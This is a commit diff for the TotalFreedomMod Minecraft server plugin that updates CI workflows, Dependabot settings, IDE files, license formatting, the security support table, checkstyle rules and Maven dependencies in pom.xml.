Properly check for permissions using NM,

add prefixes support to chats
Fix up the list module a bit more

.github/dependabot.yml

@@ -0,0 +1,23 @@
+# To get started with Dependabot version updates, you'll need to specify which
+# package ecosystems to update and where the package manifests are located.
+# Please see the documentation for all configuration options:
+# https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
+
+version: 2
+updates:
+
+  # Maintain Maven Updates
+  - package-ecosystem: "maven" # See documentation for possible values
+    directory: "/" # Location of package manifests
+    target-branch: "development"
+    open-pull-requests-limit: 50
+    schedule:
+      interval: "daily"
+      
+  # Maintain dependencies for GitHub Actions
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    target-branch: "development"
+    open-pull-requests-limit: 50
+    schedule:
+      interval: "daily"

.github/workflows/codacy-analysis.yml

@@ -25,7 +25,7 @@ jobs:
 
       # Execute Codacy Analysis CLI and generate a SARIF output with the security issues identified during the analysis
       - name: Run Codacy Analysis CLI
-        uses: codacy/codacy-analysis-cli-action@1.1.0
+        uses: codacy/codacy-analysis-cli-action@4.0.0
         with:
           # Check https://github.com/codacy/codacy-analysis-cli#project-token to get your project token from your Codacy repository
           # You can also omit the token and run the tools that support default configurations

.github/workflows/codeql-analysis.yml

@@ -37,6 +37,13 @@ jobs:
     - name: Checkout repository
       uses: actions/checkout@v2
       
+    - name: Setup Java JDK
+      uses: actions/setup-java@v2.3.0
+      with:
+        # The Java version to make available on the path. Takes a whole or semver Java version, or 1.x syntax (e.g. 1.8 => Java 8.x). Early access versions can be specified in the form of e.g. 14-ea, 14.0.0-ea, or 14.0.0-ea.28
+        java-version: 17
+        distribution: 'adopt'
+
     # Initializes the CodeQL tools for scanning.
     - name: Initialize CodeQL
       uses: github/codeql-action/init@v1

.github/workflows/downstream.yml

@@ -0,0 +1,43 @@
+# This is a basic workflow to help you get started with Actions
+
+name: Downstream Branch Updates
+
+on:
+  schedule:
+    - cron:  '20 7 * * *'
+    # scheduled at 07:00 every Monday and Thursday
+
+  workflow_dispatch:  # click the button on Github repo!
+
+
+jobs:
+  sync_with_upstream:
+    runs-on: ubuntu-latest
+    name: Sync main with upstream latest
+
+    steps:
+    # Step 1: run a standard checkout action, provided by github
+    - name: Checkout main
+      uses: actions/checkout@v2
+      with:
+        ref: main
+        # submodules: 'recursive'     ### may be needed in your situation
+
+    # Step 2: run this sync action - specify the upstream repo, upstream branch to sync with, and target sync branch
+    - name: Pull (Fast-Forward) upstream changes
+      id: sync
+      uses: aormsby/Fork-Sync-With-Upstream-action@v3.3
+      with:
+        upstream_repository: AtlasMediaGroup/TotalFreedomMod
+        upstream_branch: main
+        target_branch: development
+        git_pull_args: --ff-only                    # optional arg use, defaults to simple 'pull'
+
+    # Step 3: Display a message if 'sync' step had new commits (simple test)
+    - name: Check for new commits
+      if: steps.sync.outputs.has_new_commits
+      run: echo "There were new commits."
+
+    # Step 4: Print a helpful timestamp for your records (not required, just nice)
+    - name: Timestamp
+      run: date

.github/workflows/java17-maven.yml

@@ -0,0 +1,21 @@
+name: Java17-Maven-Build
+
+on: [push]
+
+jobs:
+  build-java-17:
+
+    runs-on: ubuntu-latest
+
+    steps:
+    # Checkout the code
+    - uses: actions/checkout@v1
+
+    # Java 16 Builds
+    - name: Set up JDK 17
+      uses: actions/setup-java@v2.3.0
+      with:
+        java-version: 17
+        distribution: 'adopt'
+    - name: Build with Maven
+      run: mvn -B package --file pom.xml

.github/workflows/maven.yml

@@ -1,17 +0,0 @@
-name: Maven-Build
-
-on: [push]
-
-jobs:
-  build:
-
-    runs-on: ubuntu-latest
-
-    steps:
-    - uses: actions/checkout@v1
-    - name: Set up JDK 1.8
-      uses: actions/setup-java@v1
-      with:
-        java-version: 1.8
-    - name: Build with Maven
-      run: mvn -B package --file pom.xml

.gitignore

@@ -25,6 +25,7 @@ manifest.mf
 /.idea/workspace.xml
 /.idea/uiDesigner.xml
 /.idea/libraries
+/.idea/
 *.iml
 
 # Maven excludes

.idea/codeStyles/Project.xml

@@ -1,28 +0,0 @@
-<component name="ProjectCodeStyleConfiguration">
-  <code_scheme name="Project" version="173">
-    <JavaCodeStyleSettings>
-      <option name="CLASS_COUNT_TO_USE_IMPORT_ON_DEMAND" value="20" />
-      <option name="IMPORT_LAYOUT_TABLE">
-        <value>
-          <package name="" withSubpackages="true" static="false" />
-          <package name="" withSubpackages="true" static="true" />
-        </value>
-      </option>
-    </JavaCodeStyleSettings>
-    <codeStyleSettings language="JAVA">
-      <option name="BRACE_STYLE" value="2" />
-      <option name="CLASS_BRACE_STYLE" value="2" />
-      <option name="METHOD_BRACE_STYLE" value="2" />
-      <option name="LAMBDA_BRACE_STYLE" value="2" />
-      <option name="ELSE_ON_NEW_LINE" value="true" />
-      <option name="WHILE_ON_NEW_LINE" value="true" />
-      <option name="CATCH_ON_NEW_LINE" value="true" />
-      <option name="FINALLY_ON_NEW_LINE" value="true" />
-      <option name="SPACE_AFTER_TYPE_CAST" value="false" />
-      <option name="IF_BRACE_FORCE" value="3" />
-      <option name="DOWHILE_BRACE_FORCE" value="3" />
-      <option name="WHILE_BRACE_FORCE" value="3" />
-      <option name="FOR_BRACE_FORCE" value="3" />
-    </codeStyleSettings>
-  </code_scheme>
-</component>

.idea/codeStyles/codeStyleConfig.xml

@@ -1,5 +0,0 @@
-<component name="ProjectCodeStyleConfiguration">
-  <state>
-    <option name="USE_PER_PROJECT_SETTINGS" value="true" />
-  </state>
-</component>

.idea/compiler.xml

@@ -1,17 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="CompilerConfiguration">
-    <annotationProcessing>
-      <profile default="true" name="Default" enabled="true" />
-      <profile name="Maven default annotation processors profile" enabled="true">
-        <sourceOutputDir name="target/generated-sources/annotations" />
-        <sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
-        <outputRelativeToContentRoot value="true" />
-        <module name="TotalFreedomMod" />
-      </profile>
-    </annotationProcessing>
-    <bytecodeTargetLevel>
-      <module name="TotalFreedomMod" target="1.8" />
-    </bytecodeTargetLevel>
-  </component>
-</project>

.idea/encodings.xml

@@ -1,8 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="Encoding">
-    <file url="file://$PROJECT_DIR$/src/main/java" charset="UTF-8" />
-    <file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" />
-	<file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" />
-  </component>
-</project>

.idea/misc.xml

@@ -1,16 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="EntryPointsManager">
-    <list size="1">
-      <item index="0" class="java.lang.String" itemvalue="org.bukkit.event.EventHandler" />
-    </list>
-  </component>
-  <component name="MavenProjectsManager">
-    <option name="originalFiles">
-      <list>
-        <option value="$PROJECT_DIR$/pom.xml" />
-      </list>
-    </option>
-  </component>
-  <component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" default="false" project-jdk-name="1.8" project-jdk-type="JavaSDK" />
-</project>

.idea/uiDesigner.xml

@@ -1,124 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="Palette2">
-    <group name="Swing">
-      <item class="com.intellij.uiDesigner.HSpacer" tooltip-text="Horizontal Spacer" icon="/com/intellij/uiDesigner/icons/hspacer.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="1" hsize-policy="6" anchor="0" fill="1" />
-      </item>
-      <item class="com.intellij.uiDesigner.VSpacer" tooltip-text="Vertical Spacer" icon="/com/intellij/uiDesigner/icons/vspacer.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="1" anchor="0" fill="2" />
-      </item>
-      <item class="javax.swing.JPanel" icon="/com/intellij/uiDesigner/icons/panel.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3" />
-      </item>
-      <item class="javax.swing.JScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.png" removable="false" auto-create-binding="false" can-attach-label="true">
-        <default-constraints vsize-policy="7" hsize-policy="7" anchor="0" fill="3" />
-      </item>
-      <item class="javax.swing.JButton" icon="/com/intellij/uiDesigner/icons/button.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="3" anchor="0" fill="1" />
-        <initial-values>
-          <property name="text" value="Button" />
-        </initial-values>
-      </item>
-      <item class="javax.swing.JRadioButton" icon="/com/intellij/uiDesigner/icons/radioButton.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
-        <initial-values>
-          <property name="text" value="RadioButton" />
-        </initial-values>
-      </item>
-      <item class="javax.swing.JCheckBox" icon="/com/intellij/uiDesigner/icons/checkBox.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
-        <initial-values>
-          <property name="text" value="CheckBox" />
-        </initial-values>
-      </item>
-      <item class="javax.swing.JLabel" icon="/com/intellij/uiDesigner/icons/label.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="0" anchor="8" fill="0" />
-        <initial-values>
-          <property name="text" value="Label" />
-        </initial-values>
-      </item>
-      <item class="javax.swing.JTextField" icon="/com/intellij/uiDesigner/icons/textField.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
-          <preferred-size width="150" height="-1" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JPasswordField" icon="/com/intellij/uiDesigner/icons/passwordField.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
-          <preferred-size width="150" height="-1" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JFormattedTextField" icon="/com/intellij/uiDesigner/icons/formattedTextField.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
-          <preferred-size width="150" height="-1" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JTextArea" icon="/com/intellij/uiDesigner/icons/textArea.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JTextPane" icon="/com/intellij/uiDesigner/icons/textPane.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JEditorPane" icon="/com/intellij/uiDesigner/icons/editorPane.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JComboBox" icon="/com/intellij/uiDesigner/icons/comboBox.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="0" hsize-policy="2" anchor="8" fill="1" />
-      </item>
-      <item class="javax.swing.JTable" icon="/com/intellij/uiDesigner/icons/table.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JList" icon="/com/intellij/uiDesigner/icons/list.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="2" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JTree" icon="/com/intellij/uiDesigner/icons/tree.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JTabbedPane" icon="/com/intellij/uiDesigner/icons/tabbedPane.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
-          <preferred-size width="200" height="200" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JSplitPane" icon="/com/intellij/uiDesigner/icons/splitPane.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
-          <preferred-size width="200" height="200" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JSpinner" icon="/com/intellij/uiDesigner/icons/spinner.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
-      </item>
-      <item class="javax.swing.JSlider" icon="/com/intellij/uiDesigner/icons/slider.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
-      </item>
-      <item class="javax.swing.JSeparator" icon="/com/intellij/uiDesigner/icons/separator.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3" />
-      </item>
-      <item class="javax.swing.JProgressBar" icon="/com/intellij/uiDesigner/icons/progressbar.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1" />
-      </item>
-      <item class="javax.swing.JToolBar" icon="/com/intellij/uiDesigner/icons/toolbar.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1">
-          <preferred-size width="-1" height="20" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JToolBar$Separator" icon="/com/intellij/uiDesigner/icons/toolbarSeparator.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="0" anchor="0" fill="1" />
-      </item>
-      <item class="javax.swing.JScrollBar" icon="/com/intellij/uiDesigner/icons/scrollbar.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="0" anchor="0" fill="2" />
-      </item>
-    </group>
-  </component>
-</project>

.idea/vcs.xml

@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="VcsDirectoryMappings">
-    <mapping directory="" vcs="Git" />
-  </component>
-</project>

.travis.yml

@@ -1,13 +0,0 @@
-language: java
-jdk:
-  - oraclejdk11
-  - openjdk11
-notifications:
-  email: false
-addons:
-  apt:
-    packages:
-      - sshpass
-script: mvn clean install
-after_success:
-  - ./travis-upload.sh

CONTRIBUTING.md

@@ -1,3 +1,3 @@
-# Contributing to TotalFreedomMod #
+# Contributing to TotalFreedomMod
 
 For information about contributing to TotalFreedomMod, please see the [contributing guidelines](https://github.com/TotalFreedom/TotalFreedomMod/wiki/Contributing).

LICENSE.md

@@ -1,4 +1,5 @@
-# TotalFreedom General License #
+# TotalFreedom General License
+
 _Version 2.0, 27th February 2015_
 
 Copyright (c) 2011 Steven Lawson
@@ -7,7 +8,8 @@ Copyright (c) 2012 Jerom van der Sar
 
 All rights reserved.
 
-##### 1. Definitions #####
+##### 1. Definitions
+
 "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by this document.
 
 "Licensor" shall mean the copyright holder or entity authorised by the copyright owner that is granting the License.
@@ -30,8 +32,9 @@ All rights reserved.
 
 "Redistribution" shall mean any partial or complete availability, transfer or publication of the Work from one Legal Entity to another.
 
-##### 2. Grant of Copyright License #####
- Subject to the terms and conditions of this License, You are granted a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to prepare Derivative Works of, publicly display, publicly perform, inspect and redistribute the Work and such Derivative Works as long as the following conditions are met:
+##### 2. Grant of Copyright License
+
+Subject to the terms and conditions of this License, You are granted a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to prepare Derivative Works of, publicly display, publicly perform, inspect and redistribute the Work and such Derivative Works as long as the following conditions are met:
 
 1. Redistributions of This Software must solely occur in Source form. Redistribution in Object form is prohibited without prior written permission from the Licensor.
 
@@ -47,8 +50,10 @@ All rights reserved.
 
 7. Sub licensing of This Software is prohibited without prior written permission from the Licensor.
 
-##### 3. Submission of Contributions #####
+##### 3. Submission of Contributions
+
 Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
 
-##### 4. Disclaimer of Warranty #####
+##### 4. Disclaimer of Warranty
+
 THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

README.md

@@ -1,16 +1,17 @@
-# TotalFreedomMod [![Build Status](https://travis-ci.com/AtlasMediaGroup/TotalFreedomMod.svg?branch=development)](https://travis-ci.com/AtlasMediaGroup/TotalFreedomMod) [![Codacy Badge](https://app.codacy.com/project/badge/Grade/29c0f964da304666bd654bc7b1d556db)](https://www.codacy.com/gh/AtlasMediaGroup/TotalFreedomMod/dashboard?utm_source=github.com&utm_medium=referral&utm_content=AtlasMediaGroup/TotalFreedomMod&utm_campaign=Badge_Grade)
+# TotalFreedomMod [![Maven-Build](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/maven.yml/badge.svg)](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/maven.yml) [![Codacy Badge](https://app.codacy.com/project/badge/Grade/29c0f964da304666bd654bc7b1d556db)](https://www.codacy.com/gh/AtlasMediaGroup/TotalFreedomMod/dashboard?utm_source=github.com&utm_medium=referral&utm_content=AtlasMediaGroup/TotalFreedomMod&utm_campaign=Badge_Grade) [![CodeQL](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/codeql-analysis.yml/badge.svg)](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/codeql-analysis.yml)
 
 TotalFreedomMod is a CraftBukkit server plugin designed primarily to support the [Official TotalFreedom Minecraft Server](https://totalfreedom.me/). However, you are more than welcome to adapt the source for your own server.
 
 This plugin was originally coded by StevenLawson (Madgeek1450), with Jerom van der Sar (Prozza) becoming heavily involved in its development some time later. It consists of over 85 custom coded commands and a large variety of distinguishable features not included in any other plugin. The plugin has since its beginning grown immensely. Together, with the main TotalFreedom server, TotalFreedomMod has a long-standing reputation of effectiveness whilst maintaining a clear feeling of openness towards the administrators and the players themselves.
 
-### Contributing ###
+### Contributing
+
 Please see [CONTRIBUTING.md](CONTRIBUTING.md) if you are interested in developing TotalFreedomMod.
 
 For information on how TotalFreedomMod is licensed, please see [LICENSE.md](LICENSE.md).
 
 For information on our security policy and reporting an issue, please see [SECURITY.md](SECURITY.md)
 
-### Compiling ###
+### Compiling
 
-You need Maven to build. You'd also need to set the JDK version to Java 8 as that is the current standard as of now.
+You need Maven to build. You'd also need to set the JDK version to Java 11 as that is the current standard as of now.

SECURITY.md

@@ -2,16 +2,37 @@
 
 ## Supported Versions
 
-We currently support the code running on the "development" branch of this repository. This is supported in addition to those formal releases, but note anything not yet released should be treated as in-development.
+We currently support the code running on the "main" branch and "development" branch of this repository. This is supported in addition to those formal releases, but note anything not yet released should be treated as in-development.
 
-In terms of plugin releases, we support the following versions:
+In terms of plugin releases, our support matrix is as follows:
 
-| Version | Supported          |
-| ------- | ------------------ |
-| 2020.11   | :white_check_mark: |
-| 6.0.x (Pre-Release)  | :x:                |
-| < 2020.11  | :x:                |
-| < 5.x  | :x:                |
+### Actively Supported
+These versions are currently actively supported by our team, and you should expect security patches where appropriate for these versions. 
+
+| Version             | Supported          | Support End:                   |
+| ------------------- | ------------------ | ------------------------------ |
+| 2021.09             | :white_check_mark: | No Earlier than December 2021    |
+
+### Legacy Supported
+These versions are no longer under active development, however we will look to release critical secuirty patches where appropriate. 
+
+| Version             | Supported          | Support End: |
+| ------------------- | ------------------ | ------------ |
+| 2021.06             | :white_check_mark: | October 2021 |
+
+
+### No Longer Supported
+These versions are no longer supported at all. It is strongly advised to update if you are running any of these versions. 
+
+| Version             | Supported          | Support Ended:      |
+| ------------------- | ------------------ | ------------------- |
+| 2021.05             | :white_check_mark: | September 2021      |
+| 2021.04             | :white_check_mark: | July 2021           |
+| 2021.02             | :x:                | 6 June 2021         |
+| 2020.11             | :x:                | 3 May 2021          |
+| 6.0.x (Pre-Release) | :x:                | December 2020       |
+| < 2020.11           | :x:                | December 2020       |
+| < 5.x               | :x:                | December 2020       |
 
 ## Reporting a Vulnerability
 

checkstyle.xml

@@ -2,20 +2,16 @@
 <!DOCTYPE module PUBLIC
         "-//Puppy Crawl//DTD Check Configuration 1.3//EN"
         "http://www.puppycrawl.com/dtds/configuration_1_3.dtd">
-
 <module name="Checker">
     <property name="charset" value="UTF-8"/>
     <property name="severity" value="warning"/>
     <property name="fileExtensions" value="java, properties, xml"/>
-
     <module name="SuppressionFilter">
         <property name="file" value="supressions.xml"/>
     </module>
-
     <module name="FileTabCharacter">
         <property name="eachLine" value="true"/>
     </module>
-
     <module name="TreeWalker">
         <module name="OuterTypeFilename"/>
         <module name="IllegalTokenText">
@@ -91,7 +87,7 @@
                      value="Local variable name ''{0}'' must match pattern ''{1}''."/>
         </module>
         <module name="ClassTypeParameterName">
-            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9][_]*[T]$)"/>
+            <property name="format" value="(^[A-Z][a-zA-Z0-9]*$)|([A-Z][a-zA-Z0-9]*[_][a-zA-Z0-9]*$)"/>
             <message key="name.invalidPattern"
                      value="Class type name ''{0}'' must match pattern ''{1}''."/>
         </module>
@@ -112,7 +108,8 @@
                      value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
         </module>
         <module name="OverloadMethodsDeclarationOrder"/>
-        <module name="CustomImportOrder"/><!-- http://checkstyle.sourceforge.net/config_imports.html -->
+        <module name="CustomImportOrder"/>
+        <!-- http://checkstyle.sourceforge.net/config_imports.html -->
         <module name="MethodParamPad"/>
         <module name="OperatorWrap">
             <property name="option" value="NL"/>

nb-configuration.xml

@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project-shared-configuration>
+    <!--
+This file contains additional configuration written by modules in the NetBeans IDE.
+The configuration is intended to be shared among all the users of project and
+therefore it is assumed to be part of version control checkout.
+Without this configuration present, some functionality in the IDE may be limited or fail altogether.
+-->
+    <properties xmlns="http://www.netbeans.org/ns/maven-properties-data/1">
+        <!--
+Properties that influence various parts of the IDE, especially code formatting and the like. 
+You can copy and paste the single properties, into the pom.xml file and the IDE will pick them up.
+That way multiple projects can share the same settings (useful for formatting rules for example).
+Any value defined here will override the pom.xml file value but is only applicable to the current project.
+-->
+        <netbeans.hint.jdkPlatform>JDK_11</netbeans.hint.jdkPlatform>
+        <netbeans.checkstyle.format>true</netbeans.checkstyle.format>
+    </properties>
+</project-shared-configuration>

pom.xml

@@ -5,7 +5,7 @@
 
     <groupId>me.totalfreedom</groupId>
     <artifactId>TotalFreedomMod</artifactId>
-    <version>2021.02-RC01</version>
+    <version>2022.02-RC01</version>
     <packaging>jar</packaging>
 
     <properties>
@@ -39,19 +39,25 @@
     </scm>
 
     <repositories>
+
         <repository>
             <id>jitpack.io</id>
             <url>https://jitpack.io</url>
         </repository>
 
         <repository>
-            <id>CodeMC</id>
-            <url>https://repo.codemc.org/repository/maven-public/</url>
+            <id>networkmanager-repo</id>
+            <url>https://repo.networkmanager.xyz/repository/maven-public/</url>
         </repository>
 
         <repository>
-            <id>nms-repo</id>
-            <url>https://repo.codemc.org/repository/nms/</url>
+            <id>atlas-nexus-01-totalfreedom-development</id>
+            <url>https://nexus-01.core.atlas-media.co.uk/repository/totalfreedom-development/</url>
+        </repository>
+
+        <repository>
+            <id>CodeMC</id>
+            <url>https://repo.codemc.org/repository/maven-public/</url>
         </repository>
 
         <repository>
@@ -75,9 +81,9 @@
         </repository>
 
         <repository>
-            <id>jcenter</id>
-            <name>jcenter-bintray</name>
-            <url>https://jcenter.bintray.com</url>
+            <id>dv8tion</id>
+            <name>m2-dv8tion</name>
+            <url>https://m2.dv8tion.net/releases/</url>
         </repository>
 
         <repository>
@@ -101,19 +107,11 @@
         </repository>
 
         <repository>
-            <id>papermc</id>
-            <url>https://papermc.io/repo/repository/maven-public/</url>
+            <id>esentialsx-repo</id>
+            <url>https://repo.essentialsx.net/releases/</url>
         </repository>
 
-        <repository>
-            <id>rayzr-repo</id>
-            <url>https://cdn.rawgit.com/Rayzr522/maven-repo/master/</url>
-        </repository>
 
-        <repository>
-            <id>ess-repo</id>
-            <url>https://ci.ender.zone/plugin/repository/everything/</url>
-        </repository>
     </repositories>
 
     <dependencies>
@@ -121,42 +119,28 @@
         <dependency>
             <groupId>commons-io</groupId>
             <artifactId>commons-io</artifactId>
-            <version>2.8.0</version>
+            <version>2.11.0</version>
             <scope>compile</scope>
         </dependency>
 
         <dependency>
             <groupId>org.apache.commons</groupId>
             <artifactId>commons-lang3</artifactId>
-            <version>3.11</version>
-            <scope>compile</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>commons-codec</groupId>
-            <artifactId>commons-codec</artifactId>
-            <version>1.15</version>
-            <scope>compile</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>com.github.speedxx</groupId>
-            <artifactId>Mojangson</artifactId>
-            <version>1957eef8d6</version>
+            <version>3.12.0</version>
             <scope>compile</scope>
         </dependency>
 
         <dependency>
             <groupId>org.bstats</groupId>
             <artifactId>bstats-bukkit</artifactId>
-            <version>1.8</version>
+            <version>2.2.1</version>
             <scope>compile</scope>
         </dependency>
 
         <dependency>
-            <groupId>org.spigotmc</groupId>
-            <artifactId>spigot</artifactId>
-            <version>1.16.5-R0.1-SNAPSHOT</version>
+            <groupId>io.papermc.paper</groupId>
+            <artifactId>paper-api</artifactId>
+            <version>1.17.1-R0.1-SNAPSHOT</version>
             <scope>provided</scope>
         </dependency>
 
@@ -168,44 +152,37 @@
         </dependency>
 
         <dependency>
-            <groupId>com.github.TotalFreedomMC</groupId>
+            <groupId>com.github.AtlasMediaGroup</groupId>
             <artifactId>TF-LibsDisguises</artifactId>
-            <version>48f01cf2fe</version>
+            <version>5a340341b0</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
             <groupId>com.sk89q.worldedit</groupId>
             <artifactId>worldedit-bukkit</artifactId>
-            <version>7.3.0-SNAPSHOT</version>
-            <scope>provided</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>net.ess3</groupId>
-            <artifactId>EssentialsX</artifactId>
-            <version>2.18.2</version>
+            <version>7.2.8</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
             <groupId>net.dv8tion</groupId>
             <artifactId>JDA</artifactId>
-            <version>4.2.0_224</version>
+            <version>4.2.1_255</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
             <groupId>net.coreprotect</groupId>
             <artifactId>coreprotect</artifactId>
-            <version>19.3</version>
+            <version>21.2</version>
             <scope>provided</scope>
         </dependency>
 
         <dependency>
             <groupId>com.sk89q.worldguard</groupId>
             <artifactId>worldguard-bukkit</artifactId>
-            <version>7.0.4</version>
+            <version>7.0.6</version>
             <scope>provided</scope>
         </dependency>
 
@@ -216,13 +193,6 @@
             <scope>compile</scope>
         </dependency>
 
-        <dependency>
-            <groupId>me.rayzr522</groupId>
-            <artifactId>jsonmessage</artifactId>
-            <version>1.0.0</version>
-            <scope>compile</scope>
-        </dependency>
-
         <dependency>
             <groupId>com.github.vexsoftware</groupId>
             <artifactId>votifier</artifactId>
@@ -231,9 +201,9 @@
         </dependency>
 
         <dependency>
-            <groupId>net.goldtreeservers</groupId>
-            <artifactId>worldguardextraflags</artifactId>
-            <version>4.0.0</version>
+            <groupId>net.essentialsx</groupId>
+            <artifactId>EssentialsX</artifactId>
+            <version>2.19.0</version>
             <scope>provided</scope>
         </dependency>
 
@@ -247,25 +217,83 @@
         <dependency>
             <groupId>org.javassist</groupId>
             <artifactId>javassist</artifactId>
-            <version>3.27.0-GA</version>
+            <version>3.28.0-GA</version>
             <scope>compile</scope>
         </dependency>
 
         <dependency>
-            <groupId>com.github.TotalFreedomMC</groupId>
-            <artifactId>TFGuilds</artifactId>
-            <version>db036fb187</version>
+            <groupId>me.totalfreedom</groupId>
+            <artifactId>tfguilds</artifactId>
+            <version>2021.06-RC2</version>
             <scope>provided</scope>
         </dependency>
 
+        <dependency>
+            <groupId>org.jetbrains</groupId>
+            <artifactId>annotations</artifactId>
+            <version>22.0.0</version>
+            <scope>compile</scope>
+        </dependency>
+
         <dependency>
